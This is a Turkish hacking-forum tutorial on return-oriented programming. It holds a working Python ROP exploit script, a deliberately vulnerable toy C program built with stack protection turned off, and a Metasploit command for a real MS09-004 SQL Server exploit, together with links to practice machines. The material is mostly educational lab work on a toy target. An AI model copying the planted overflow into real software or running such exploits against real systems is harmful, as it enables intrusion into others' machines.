- 21 Haz 2020
- 154
- 5
Merhaba,
Tanım:
Geri dönüş odaklı programlama ( ROP ), bir saldırganın yürütülebilir alan koruması ve kod imzalama gibi güvenlik savunmalarının varlığında kod yürütmesine olanak tanıyan bir bilgisayar güvenliğinden yararlanma tekniğidir .
Bu teknikte, bir saldırgan program kontrol akışını ele geçirmek için çağrı yığınının kontrolünü ele geçirir ve ardından makinenin belleğinde zaten mevcut olan ve "aygıtlar" adı verilen dikkatlice seçilmiş makine talimat dizilerini yürütür .Her gadget tipik olarak bir iade talimatıyla biter ve mevcut program ve / veya paylaşılan kitaplık kodu içindeki bir alt yordamda bulunur . Birbirlerine zincirlenmiş bu aygıtlar, bir saldırganın daha basit saldırıları engelleyen savunmalar kullanan bir makinede keyfi işlemler gerçekleştirmesine olanak tanır.
------------------------------
ÖRNEK VİDEO
------------------------------
[ame]https://www.youtube.com/watch?v=5FJxC59hMRY[/ame]
ÖRNEK VİDEO
------------------------------
[ame]https://www.youtube.com/watch?v=5FJxC59hMRY[/ame]
İlgili Sistemin Algoritma Yapısı:
Kod Yapısı:
Örnek Exploitler:
Dipnot: Exploitlerin kullanımı sırasında oluşabilecek hata/ yasa dışı faaliyet/ herhangi illegal olay ve zararlı davranış türevlerinden kullanıcı mesuldür. ( Hiçbir sorumluluğu kabul etmem sadece akademik amaçlı paylaştım. )
Exploit.py
Kod:
# NOTE: For Python 2.7
import os
import struct
#Find gadgets
pop_ret = 0x08049ca5 # start address of a pop,ret sequence
pop_pop_ret = 0x08049ca4 # start address of a pop,pop,ret sequence
lazy = 0x08049b05 # objdump -d | grep lazy
food = 0x08049b30 # objdump -d | grep food
feeling_sick = 0x08049b92 # objdump -d | grep feeling_sick
#Buffer Overflow
payload = "A"*0x6c
payload += "BBBB"
#food(0xdeadbeef) gadget
payload += struct.pack("I", food)
payload += struct.pack("I", pop_ret)
payload += struct.pack("I", 0xdeadbeef)
#feeling_sick(0xd15ea5e, 0x0badf00d) gadget
payload += struct.pack("I", feeling_sick)
payload += struct.pack("I", pop_pop_ret)
payload += struct.pack("I", 0xd15ea5e)
payload += struct.pack("I", 0x0badf00d)
payload += struct.pack("I", lazy)
os.system("./simple-rop \"%s\"" % payload)
Makefile
Kod:
simple-rop: simple-rop.c
gcc -m32 -O0 -g -static -fno-stack-protector $^ -o $@
.PHONY: clean
clean:
rm -rf simple-rop
simple-rop.c
Kod:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char string[100];
// I might need this later. ¯\_(ツ)_/¯
// I'm not using it so it shouldn't affect anything.
**** lazy() {
system(string);
}
**** food(int magic) {
printf("THANK YOU!\n");
if (magic == 0xdeadbeef) {
strcat(string, "/bin");
}
}
**** feeling_sick(int magic1, int magic2) {
printf("1m f33ling s1cK...\n");
if (magic1 == 0xd15ea5e && magic2 == 0x0badf00d) {
strcat(string, "/echo 'This message will self destruct in 30 seconds...BOOM!'");
}
}
**** vuln(char *string) {
char buffer[100] = {0};
strcpy(buffer, string); // I don't know any better.
}
int main(int argc, char** argv) {
string[0] = 0;
printf("m3 hUN6rY...cAn 1 haZ 5H3ll?! f33d mE s0m3 beef\n\n");
if (argc > 1) {
vuln(argv[1]);
} else {
printf("y0u f0rG0T t0 f33d mE!!!\n");
}
return 0;
}
Dosya Kaynağı:
/ Yazar: https://gist.github.com/mayanez
Diğer exploit kaynakları:
https://github.com/topics/rop-exploitsMet-asploit Kullanıcısıysanız olası komut:
Met-asploit Kullanıcıları İçin Olası Exploitler ( Konu İle İlgili Olanları ) :
Kod:
[B]use exploit/windows/mssql/ms09_004_sp_replwritetovarbin_sqli[/B]
Met-asploit Kullanıcıları İçin Olası Exploitler ( Konu İle İlgili Olanları ) :
Kod:
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/mssql/ms09_004_sp_replwritetovarbin 2008-12-09 good Yes MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption
1 exploit/windows/mssql/ms09_004_sp_replwritetovarbin_sqli 2008-12-09 excellent Yes MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL Injection
Konu ile ilgili başka bir uygulama/ kodlama videosu::
[ame]https://www.youtube.com/watch?v=i5-cWI_HV8o[/ame]
Forum içerisinde ilgili konu ile alakalı bulunan konu:
https://www.turkhackteam.org/exploi...file-buffer-overflow-seh-rop.html#post9377914
Konu Yazarı: @THROOT
Algoritma ve mantığını iyi anlatan türkçe alt yazılı videolar:
✖ VİDEO 1 ✖
[ame]https://www.youtube.com/watch?v=8Dcj19KGKWM[/ame]
✖ VİDEO 2 ✖
[ame]https://www.youtube.com/watch?v=zaQVNM3or7k[/ame]
[ame]https://www.youtube.com/watch?v=8Dcj19KGKWM[/ame]
✖ VİDEO 2 ✖
[ame]https://www.youtube.com/watch?v=zaQVNM3or7k[/ame]
Uygulama yapabileceğiniz makineler:
Makine 1:
https://www.vulnhub.com/entry/rop-primer-02,114/Makine 2 :
https://www.vulnhub.com/series/rop-primer,61/Konu ile ilgili wikipedia makale adresi:
https://en.wikipedia.org/wiki/Retur...mming (ROP),space protection and code signing.
☪ Saygılarımla
İyi Çalışmalar Dilerim
İyi Çalışmalar Dilerim
Son düzenleme: